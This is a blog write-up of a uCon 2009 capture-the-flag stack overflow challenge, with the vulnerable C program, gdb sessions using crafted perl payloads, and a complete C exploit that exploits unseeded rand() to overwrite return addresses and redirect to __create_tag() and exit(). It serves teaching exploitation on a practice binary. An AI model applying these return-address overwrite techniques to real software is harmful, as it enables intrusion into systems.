uCon 2009 – CTF Challenge Stack 02   Leave a comment

‘Sup guys…

After all that time giving excuses I finally got some time to finish this post. A few months ago someone threw a challenge in #dclabs, a stack overflow challenge from uCon 2009 with some interesting and curious details, let’s get down to business;

int main (int argc , char *argv[]) {
  if (argc != 2) {
    __print_sw_title(argv[0]);
    return ERRO;
  }

  if (__lets_play(argv[1])) {
    __create_tag(argv[0]);
    printf("\n +-+ Bang ! +-+ \n");
  } else {
    printf("\n Shut your ****** face, uncle *****! \n");
  }

  return OK;
}

...

int __lets_play (char *param) {
  int i = 0;
  char buffer[2];

  for(i = 0; i < strlen(param); i++) {
    if (i % 2)
      buffer[i] = param[rand() % strlen(param)];
    else
      buffer[i] = '\0';
  }

  if ((int) buffer < 0)
    return 0;

  return 1;
}

Before going into the refinements of this challenge that should be rand(), lets dig a small detail that sometimes make this challenge reckless.

Who thinks this code is exploitable raise a hand … There is a detail (possibly not planned by the author) in this challenge that prevents its exploitation, let us first understand the vulnerable loop: every time i is even it receives a NULL byte, when i is odd he gets param[rand() % strlen(param)], so far so good. The problem is that for any value greater than 2 an overflow will occur, but it’s exactly this overflow that prevents us from going further, crude contradictory right? Let’s simulate for the sake of clarity.

i = 0 results in if(0), buffer[0] gets '\0'
i = 1 results in if(1), buffer[1] gets param[rand() % strlen(param)]
i = 2 results in if(0), buffer[2] gets '\0'
i = 3 results in if(1), buffer[3] gets param[rand() % strlen(param)]
...

Yeah raph, we’ve seen that the code will be alternating between a random position from buffer and NULL, so what? Well, we have to pay attention to the positioning of the variables, char buffer[2] is just behind int i in my scenario (compiled with GCC 4.5.2 without optimization), in other words, from buffer we have 2 bytes before reaching i, the third (i = 2) byte will overwrite i, which by our simulation will be overwritten with a NULL byte, noticed the goo that it will become?

PS: We can’t guarantee that our variables declaration order will be the same order in stack, that’s compiler dependent. That’s why this “feature” didn’t happen to everyone, it all depends on the order that variables entered in the program stack, which depends on the compiler as I said before.

Simplifying – Whenever i is equal to 2, the very i will be overwritten with a NULL byte, making the loop getting back to square one, this overflow will happen forever …

There are many ways to solve this “problem”, including:
– Compile with -O1 or any higher gcc optimization, it will make i become a register instead a stack variable. (Tested with GCC 4.5.2, may vary)
– Change int i = 0 to register int i = 0

With this problem solved, we can finally try to exploit the code, let’s get right to it:

  for(i = 0; i < strlen(param); i++) {
    if (i % 2)
      buffer[i] = param[rand() % strlen(param)];
    else
      buffer[i] = '\0';
  }

We know we can do an overflow that alternates between a byte at a random position of our argv[1] and a NULL byte. But there is one detail about this random byte, for those who knows C and the internals of rand(), knows it is a Pseudo-Random Number Generator (PRNG) that needs a random seed defined by the function srand(), if the seed is not defined, rand() will be seeded with a value of 1, in other words, we have a list of predictable random numbers ;-).

Enough talk, let’s test:

raph@0x88:~/uCon$ cat randoms.c
#include
#include

int
main(int argc, char **argv)
{
        int i;

        for(i = 0; i < 5; i++)
        {
                printf("This number should be random: %d\n", rand());
                srand(1);
        }
        return 0;
}

raph@0x88:~/uCon$ gcc -o randoms randoms.c -Wall -O2
raph@0x88:~/uCon$ ./randoms
This number should be random: 1804289383
This number should be random: 1804289383
This number should be random: 1804289383
This number should be random: 1804289383
This number should be random: 1804289383

---

raph@0x88:~/uCon$ cat randoms2.c
#include
#include

int
main(int argc, char **argv)
{
        int i;

        for(i = 0; i < 5; i++)
                printf("rand = %d\n", rand());
        return 0;
}
raph@0x88:~/uCon$ gcc -o randoms2 randoms2.c -Wall -O2
raph@0x88:~/uCon$ ./randoms2
rand = 1804289383
rand = 846930886
rand = 1681692777
rand = 1714636915
rand = 1957747793

We know that the first random number of the list, when the seed is equal 1, is 1804289383 and that it is predictable as we had generated it for five times in a row just resetting the seed with srand(1) inside the loop. Okay, now what?

Now we know that the expression rand() % strlen(param) can give us predictable numbers according to the size of argv[1]. We need to know what is the offset that hits the return address of __lets_play(), and then, be able get the buffer positions that hits it.

Starting program: /home/raph/uCon/challenge_02 `perl -e 'print "U" x 34'`

Program received signal SIGSEGV, Segmentation fault.
0x55005500 in ?? ()

PS: 0x55 is 'U' character in ASCII code

So we have to send an argv[1] of at least 34 bytes to control 2 bytes of the return address. Still have a problem, analyzing the functions addresses of my symbols table, I could not find anything different of 0x0804**** and also had no luck with the addresses of my libraries’ functions. The exploitation of this challenge depends on an address that is not that easy to find in the real world, making me believe that this challenge probably was inside a Virtual Machine for uCon CTF. So for the sake of easiness, let’s remove if (i % 2) so we can proceed and explore rand()’s peculiarity, getting rid of the 2-byte only limit and controlling the full return adress. (I know, I cheated a little bit, but I do not feel in the mood of hunting a “unicode” address right now :-])

int __lets_play (char *param) {
  int i = 0;
  char buffer[2];

  for(i = 0; i < strlen(param); i++)
      buffer[i] = param[rand() % strlen(param)];

  if ((int) buffer < 0)
    return 0;

  return 1;
}

Right, now let’s check if we control all 4 bytes of the return adress.

Starting program: /home/raph/uCon/challenge_02 `perl -e 'print "U" x 34'`

Program received signal SIGSEGV, Segmentation fault.
0x55555555 in ?? ()

Great, now lets find out which positions of the argument are being considered in the return address, prepare for some math ;-).

rand31 = 1101513929
rand32 = 1801979802
rand33 = 1315634022
rand34 = 635723058

rand() % strlen(param)

1101513929 % 34 = 17
1801979802 % 34 = 32
1315634022 % 34 = 10
635723058 % 34   = 0

Start it from the beginning? (y or n) y
Starting program: /home/raph/uCon/challenge_02 AUUUUUUUUUBUUUUUUCUUUUUUUUUUUUUUDU

Program received signal SIGSEGV, Segmentation fault.
0x41424443 in ?? ()

We found out 4 different positions for a strlen(argv[1]) == 34 and confirmed that the math is right by running it inside gdb with different characters on those 4 positions ;-). Now lets try using the address of the function __create_tag(), which is the goal of this challenge.

(gdb) print __create_tag
$1 = {void (char *)} 0x804858a
(gdb) break __create_tag
Breakpoint 1 at 0x804858f: file challenge_02.c, line 72.
(gdb) run `perl -e 'print "\x08" . "A" x 9 . "\x04" . "B" x 6 . "\x8a" . "C" x 14 . "\x85" . "D"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/raph/uCon/challenge_02 `perl -e 'print "\x08" . "A" x 9 . "\x04" . "B" x 6 . "\x8a" . "C" x 14 . "\x85" . "D"'`

Program received signal SIGSEGV, Segmentation fault.
0xbffff208 in ?? ()

Jeez, it did not work?! Not so fast, let us set a breakpoint on __ create_tag() and examine what happens:

(gdb) break __create_tag
Breakpoint 2 at 0x804858f: file challenge_02.c, line 72.
(gdb) run `perl -e 'print "\x08" . "A" x 9 . "\x04" . "B" x 6 . "\x8a" . "C" x 14 . "\x85" . "D"'`
Starting program: /home/raph/uCon/challenge_02 `perl -e 'print "\x08" . "A" x 9 . "\x04" . "B" x 6 . "\x8a" . "C" x 14 . "\x85" . "D"'`

Breakpoint 2, __create_tag (id=0xb7fb4ca0 "") at challenge_02.c:72
72        char *tag_name = (char *)malloc(24 * sizeof(char));
(gdb) n
73        memset(tag_name, '\0', 24);
(gdb)
74        snprintf(tag_name,24, "./%s.tag", id);
(gdb)
75        fd = fopen(tag_name, "w");
(gdb) print tag_name
$6 = 0x804a008 "./.tag"
(gdb) n
76        if (fd != NULL) {
(gdb)
77          fprintf(fd, "Bang!!\n");
(gdb)
78          fclose(fd);
(gdb)
82      }
(gdb)

raph@0x88:~/uCon$ cat .tag
Bang!!

Ahhh so it means that it did work?! Yes… But we messed up the stack in the middle of execution and as soon as it finished __create_tag(), it probably tried to return to an awkward return address. Let us better understand what was the problem and improve our “exploit” preventing it of getting into a segfault and making it calling exit() instead.

First let’s understand why it worked. We did an overflow overwriting the return address with the address of the function __ create_tag() thus allowing the tag to be created, but coincidentally the address of __ create_tag()’s parameters id pointed to a NULL byte, which did not prevent the code to continue and also creating a file called .tag instead of something like challenge_02.tag.

Okay, got lucky, but luck and exploitation are not words that match ;-/. So we try to control the parameter of __ create_tag! As the return address from __lets_play() is at buffer+30, buffer+34 should hold return address from __create_tag() and buffer+38 should hold __create_tag()’s argument. Let’s try then with a 52 bytes long buffer with the __create_tag()’s address and U’s in the place of __create_tag()’s argument.

(gdb) run `perl -e 'print "A" . "U" . "B" x 7 . "\xe0" . "C" x 4 . "\x04" . "D" x 7 . "\x08" . "E" x 12 . "U" . "F" . "U" . "\x85" . "G" x 11 . "U" . "H"'`
Starting program: /home/raph/uCon/challenge_02 `perl -e 'print "A" . "U" . "B" x 7 . "\xe0" . "C" x 4 . "\x04" . "D" x 7 . "\x08" . "E" x 12 . "U" . "F" . "U" . "\x85" . "G" x 11 . "U" . "H"'`

Breakpoint 1, __create_tag (id=0x55555555 <address>) at challenge_02.c:72
72 char *tag_name = (char *)malloc(24 * sizeof(char));

Bingo! Our theory has not failed, as expected ;-). We successfully injected 0x55555555 at id’s address. Okay, now let’s try with an environ address, I will not get into details of how to do this because this post got big enough already.

raph@0x88:~/uCon$ export raph=0xcd80

(gdb) run `perl -e 'print "A" . "\xff" . "B" x 7 . "\xe0" . "C" x 4 . "\x04" . "D" x 7 . "\x08" . "E" x 12 . "\x2d" . "F" . "\xbf" . "\x85" . "G" x 11 . "\xff" . "H"'`
Starting program: /home/raph/uCon/challenge_02 `perl -e 'print "A" . "\xff" . "B" x 7 . "\xe0" . "C" x 4 . "\x04" . "D" x 7 . "\x08" . "E" x 12 . "\x2d" . "F" . "\xbf" . "\x85" . "G" x 11 . "\xff" . "H"'`

Breakpoint 1, __create_tag (id=0xbfffff2d "0xcd80") at challenge_02.c:72
72        char *tag_name = (char *)malloc(24 * sizeof(char));
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x47474742 in ?? ()

raph@0x88:~/uCon$ cat 0xcd80.tag
Bang!!

It got better, we can control the file tag and we have no more problems with a possible segfault at __ create_tag(), but a segfault still occurs, let’s dig deeper.

(gdb) x/8x $ebp
0xbfffef3c:     0x47454242      0x47474742      0xbfffff2d      0x42424545
0xbfffef4c:     0x42474144      0xbfffffff      0xb7fb3ff4      0xbfffefe8
(gdb) x/8x $esp
0xbfffef18:     0xbfffef28      0x0847ca95      0x45ff47bf      0x45ff4485
0xbfffef28:     0x47454242      0x43470448      0x43470448      0x42424546
(gdb)
0xbfffef38:     0x44474542      0x47454242      0x47474742      0xbfffff2d
0xbfffef48:     0x42424545      0x42474144      0xbfffffff      0xb7fb3ff4
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x47474742 in ?? ()

Note that the address that gave us a segfault is right behind of 0xbfffff2d, the address of that environ we used to overwrite __create_tag()’s parameter. As I mentioned before, that is __create_tag()’s return address, it tells where is the next code to be executed right after we leave __create_tag(), but we overwrote it with any random bytes, let’s use the same math to get the positions of this address (buffer+34, remember?).

(gdb) run `perl -e 'print "A" . "\xff" . "B" x 3 . "4" . "U" x 3 . "\xe0" . "C" x 4 . "\x04" . "D" x 7 . "\x08" . "E" x 12 . "\x2d" . "F" . "\xbf" . "\x85" . "G" x 4 . "3" . "1" . "H" x 4 . "2"  . "\xff" . "H"'`
Starting program: /home/raph/uCon/challenge_02 `perl -e 'print "A" . "\xff" . "B" x 3 . "4" . "U" x 3 . "\xe0" . "C" x 4 . "\x04" . "D" x 7 . "\x08" . "E" x 12 . "\x2d" . "F" . "\xbf" . "\x85" . "G" x 4 . "3" . "1" . "H" x 4 . "2"  . "\xff" . "H"'`

Breakpoint 1, __create_tag (id=0xbfffff2d "0xcd80") at challenge_02.c:72
72        char *tag_name = (char *)malloc(24 * sizeof(char));
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x31323334 in ?? ()

Good, note that the address that segfaulted is equal to 1234 in ASCII, as inserted in the payload. Now let’s finish this challenge going to sleep changing that to exit()’s address.

(gdb) print exit
$3 = {} 0xb7e85a30
(gdb) run `perl -e 'print "A" . "\xff" . "B" x 3 . "\x30" . "U" x 3 . "\xe0" . "C" x 4 . "\x04" . "D" x 7 . "\x08" . "E" x 12 . "\x2d" . "F" . "\xbf" . "\x85" . "G" x 4 . "\x5a" . "\xb7" . "H" x 4 . "\xe8"  . "\xff" . "H"'`
Starting program: /home/raph/uCon/challenge_02 `perl -e 'print "A" . "\xff" . "B" x 3 . "\x30" . "U" x 3 . "\xe0" . "C" x 4 . "\x04" . "D" x 7 . "\x08" . "E" x 12 . "\x2d" . "F" . "\xbf" . "\x85" . "G" x 4 . "\x5a" . "\xb7" . "H" x 4 . "\xe8"  . "\xff" . "H"'`

Breakpoint 1, __create_tag (id=0xbfffff2d "0xcd80") at challenge_02.c:72
72        char *tag_name = (char *)malloc(24 * sizeof(char));
(gdb) c
Continuing.

Program exited with code 0105.

Bazinga! We did it! Now with all that information we can finally make a decent exploit, here is the code:

raph@0x88:~/uCon$ cat exploit_02.c
#include
#include
#include
#include
#include

#define MAX_BUFSIZE 300
#define MAX_RANDSIZE 100

typedef struct st_raph {
        uint32_t pos;
        uint8_t bt;
} raph;

char exit_addr[] = { '\xb7', '\xe8', '\x5a', '\x30' };
char tag_addr[] = { '\x08', '\x04', '\x85', '\xe0' };
char env_addr[] = { '\xbf', '\xff', '\xfe', '\xbe' };

int
main(int argc, char **argv)
{
        int list[MAX_RANDSIZE], i, listSize, igual = 0, j, k;
        char buffer[MAX_BUFSIZE];
        raph x88[12];

        x88[0].bt = tag_addr[3];
        x88[1].bt = tag_addr[2];
        x88[2].bt = tag_addr[1];
        x88[3].bt = tag_addr[0];

        x88[4].bt = env_addr[3];
        x88[5].bt = env_addr[2];
        x88[6].bt = env_addr[1];
        x88[7].bt = env_addr[0];

        x88[8].bt = exit_addr[3];
        x88[9].bt = exit_addr[2];
        x88[10].bt = exit_addr[1];
        x88[11].bt = exit_addr[0];

        listSize = sizeof list / sizeof list[0];

        for(i = 0; i < listSize; i++)
                list[i] = rand();

        for(i = 54; i < listSize; i++)
        {
                x88[0].pos = list[30] % i;
                x88[1].pos = list[31] % i;
                x88[2].pos = list[32] % i;
                x88[3].pos = list[33] % i;

                x88[4].pos = list[38] % i;
                x88[5].pos = list[39] % i;
                x88[6].pos = list[40] % i;
                x88[7].pos = list[41] % i;

                x88[8].pos = list[34] % i;
                x88[9].pos = list[35] % i;
                x88[10].pos = list[36] % i;
                x88[11].pos = list[37] % i;

                for(j = 0; j < 11; j++)
                        for(k = j+1; k < 12; k++)
                                if(x88[j].pos == x88[k].pos)
                                        igual++;

                if(!igual)
                        break;

                igual = 0;
        }

        memset(buffer, 0x00, MAX_BUFSIZE);
        memset(buffer, 0x41, i);

        for(i = 0; i < 12; i++)
                buffer[x88[i].pos] = x88[i].bt;

        execl("./challenge_02", "challenge_02", buffer, NULL);

        puts("Done xD");

        return 0;
}

raph@0x88:~/uCon$ gcc -o exploit_02 exploit_02.c -Wall -O2
raph@0x88:~/uCon$ ./exploit_02
raph@0x88:~/uCon$ cat 0xcd80.tag
Bang!!

And finally, the challenge code.

raph@0x88:~/0x88/analysis/Capture The Flag uCon 2/challenges/stack$ cat challenge_02.c
/*
*  challenge_02.c is a piece of uCon 2009 Capture The Flag code
*  Copyright (C) 2002 Marcos Alvares
*
*  This program is free software; you can redistribute it and/or modify
*  it under the terms of the GNU General Public License as published by
*  the Free Software Foundation; either version 3, or (at your option)
*  any later version.
*
*  This program is distributed in the hope that it will be useful,
*  but WITHOUT ANY WARRANTY; without even the implied warranty of
*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
*  GNU General Public License for more details.
*
*  You should have received a copy of the GNU General Public License
*  along with this program; if not, write to the Free Software
*  Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*
*
* uCon Security Conference II - Recife / Pernambuco / Brazil - Feb 2009
*        Challenge 02 - Stack - Difficulty level 02
*        Author: Marcos Alvares
*/

#include
#include
#include

#define OK    0
#define ERRO -1

void __print_sw_title (char *sw_name);
void __create_tag (char *id);

int main (int argc , char *argv[]) {
  if (argc != 2) {
    __print_sw_title(argv[0]);
    return ERRO;
  }

  if (__lets_play(argv[1])) {
    __create_tag(argv[0]);
    printf("\n +-+ Bang ! +-+ \n");
  } else {
    printf("\n Shut your fucking face, uncle fucka! \n");
  }

  return OK;
}

int __lets_play (char *param) {
  int i = 0;
  char buffer[2];

  for(i = 0; i < strlen(param); i++) {
    if (i % 2)
      buffer[i] = param[rand() % strlen(param)];
    else
      buffer[i] = '\0';
  }

  if ((int) buffer < 0)
    return 0;

  return 1;
}

void __print_sw_title (char *sw_name) {
  printf(" ----------- [%s] ----------- \n", sw_name);
  printf(" ::. Usage: %s \n\n", sw_name);
}

void __create_tag (char *id) {
  FILE *fd;
  char *tag_name = (char *)malloc(24 * sizeof(char));
  memset(tag_name, '\0', 24);
  snprintf(tag_name,24, "./%s.tag", id);
  fd = fopen(tag_name, "w");
  if (fd != NULL) {
    fprintf(fd, "Bang!!\n");
    fclose(fd);
  } else {
    printf("[!] Error on open a challenge tag file.\n");
  }
}
That’s all folks![]’s,
raph0x88
Advertisements

Posted August 11, 2012 by raph0x88 in Exploiting, Programming, Security

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: